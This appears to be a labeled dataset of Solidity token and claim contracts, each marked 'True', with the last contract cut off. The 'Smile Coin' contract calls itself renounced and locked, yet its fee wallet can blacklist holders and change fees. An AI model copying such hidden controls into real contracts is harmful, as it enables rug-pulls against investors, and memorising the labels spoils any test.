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pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract ROHH is Ownable { string public name; string public symbol; uint8 public decimals = 17; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function ROHH( uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }

True

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/** *Submitted for verification at Etherscan.io on 2020-09-24 */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract xbtcdefi is IERC20 { string public constant name = "xBTC"; string public constant symbol = "XBTC"; uint8 public constant decimals = 18; event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint256 totalSupply_; using SafeMath for uint256; constructor(uint256 total) public { total = 4000000000000000000000000; totalSupply_ = total; balances[msg.sender] = totalSupply_; } function totalSupply() public override view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public override view returns (uint256) { return balances[tokenOwner]; } function transfer(address receiver, uint256 numTokens) public override returns (bool) { require(numTokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiver] = balances[receiver].add(numTokens); emit Transfer(msg.sender, receiver, numTokens); return true; } function approve(address delegate, uint256 numTokens) public override returns (bool) { allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function allowance(address owner, address delegate) public override view returns (uint) { return allowed[owner][delegate]; } function transferFrom(address owner, address buyer, uint256 numTokens) public override returns (bool) { require(numTokens <= balances[owner]); require(numTokens <= allowed[owner][msg.sender]); balances[owner] = balances[owner].sub(numTokens); allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens); balances[buyer] = balances[buyer].add(numTokens); emit Transfer(owner, buyer, numTokens); return true; } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-04-30 */ /** 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 https://t.me/SmileCoinETH https://TheSmileToken.com A charity-oriented token that is helping to fight mental illness across the world. Meet smilecoin. ***************** ****** ****** **** **** **** *** *** *** ** *** *** ** ** ******* ******* *** ** ******* ******* ** ** ******* ******* ** ** *** *** ** ** ** ** * * ** ** ** ** ** ** **** **** ** ** ** ** ** ** *** *** ** *** **** **** *** ** ****** ****** ** *** *************** *** **** **** **** **** ****** ****** ***************** Tokenomics : 30% Token Burn 9% Buy / Sell Tax 1% Max Buy - First 2 minutes 2% Max Wallet - First 2 minutes Renounced & Locked */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TheSmileCoin is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isDefaulter; uint private constant _totalSupply = 1e15 * 10**9; string public constant name = unicode"The Smile Coin"; //// string public constant symbol = unicode"SMILE"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeWallet1; address payable public _CharityWallet; address public uniswapV2Pair; uint public _buyFee = 9; uint public _sellFee = 9; uint public _feeRate = 9; uint public _maxTradeAmount; uint public _maxWalletHoldings; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeWallet1 = FeeAddress1; _CharityWallet = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), owner(), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isDefaulter[to], "Transfer failed, Defaulter wallet."); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (120 seconds)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxWalletHoldings, "ERR : MaxWalletHolding Rule Violated ."); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxTradeAmount, "Exceeds maximum buy amount."); } isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeWallet1.transfer(amount / 2); _CharityWallet.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxTradeAmount = 10000000000000 * 10**9; _maxWalletHoldings = 20000000000000 * 10**9; } function manualswap() external { require(_msgSender() == _FeeWallet1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeWallet1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBuyFees(uint buy) external { require(_msgSender() == _FeeWallet1); require(buy <= 10); _buyFee = buy; emit FeesUpdated(_buyFee, _sellFee); } function setSellFees(uint sell) external { require(_msgSender() == _FeeWallet1); require(sell <= 10); _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeWallet1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function isDefaulter(address ad) public view returns (bool) { return _isDefaulter[ad]; } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeWallet1); _FeeWallet1 = payable(newAddress); emit FeeAddress1Updated(_FeeWallet1); } function setDefaulter(address defaulter) external { require(_msgSender() == _FeeWallet1); _isDefaulter[defaulter] = true; } function delDefaulter(address defaulter) external { require(_msgSender() == _FeeWallet1); _isDefaulter[defaulter] = false; } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _CharityWallet); _CharityWallet = payable(newAddress); emit FeeAddress2Updated(_CharityWallet); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-10-05 */ pragma solidity >=0.7.0 <0.9.0; pragma experimental ABIEncoderV2; //SPDX-License-Identifier: MIT interface IERC20 { function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "Only for owner"); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract TransferExclusive is Ownable { IERC20 public _tokenContract; address public _tokenAddress; address public _ownerAddress; mapping (address => uint256) claims; bytes32 _merkleRoot; struct inputModel { address addr; uint64 val; } constructor (address contractAddress, address ownerAddress) { _tokenContract = IERC20(contractAddress); _ownerAddress = ownerAddress; _tokenAddress = contractAddress; } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function toAsciiString(address x) internal pure returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2*i] = char(hi); s[2*i+1] = char(lo); } return string(s); } function char(bytes1 b) internal pure returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } function verify(bytes32 root, bytes32 leaf, bytes32[] memory proof) private pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash < proofElement) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash == root; } //function getMerkleRoot() public view returns(bytes32) { // return _merkleRoot; //} function setMerkleRoot(bytes32 merkleRoot) public onlyOwner { _merkleRoot = merkleRoot; } function setPrimaryContract(address contractAddress, address ownerAddress) public onlyOwner returns (uint256){ _tokenContract = IERC20(contractAddress); _ownerAddress = ownerAddress; _tokenAddress = contractAddress; return 1; } function getPrimaryAllowance() public onlyOwner view returns (uint256){ return _tokenContract.allowance(_ownerAddress, address(this)); } function getClaimedValue(address _address) public view returns (uint256){ return claims[_address]; } function transferExclusive(uint256 amount, uint256 max, bytes32[] memory proof) public returns (uint256){ require(_tokenContract.allowance(_ownerAddress, address(this)) >= amount, "Allowance too low"); bytes32 leaf=keccak256(abi.encode(abi.encodePacked("0x",toAsciiString(msg.sender), uint2str(max)))); require(verify(_merkleRoot, leaf, proof), "Verify failed"); require(claims[msg.sender]+amount <= max, "Amount not allowed"); _internalTransferFrom(_tokenContract, _ownerAddress, msg.sender, amount); return 1; } function _internalTransferFrom(IERC20 token, address sender, address recipient, uint256 amount) private { bool sent = token.transferFrom(sender, recipient, amount*1000000000000000000); require(sent, "Token transfer failed"); claims[recipient]+=amount; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-12-28 */ // SPDX-License-Identifier: GPL-3.0 // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol // OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol // OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol // OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; /** * @dev 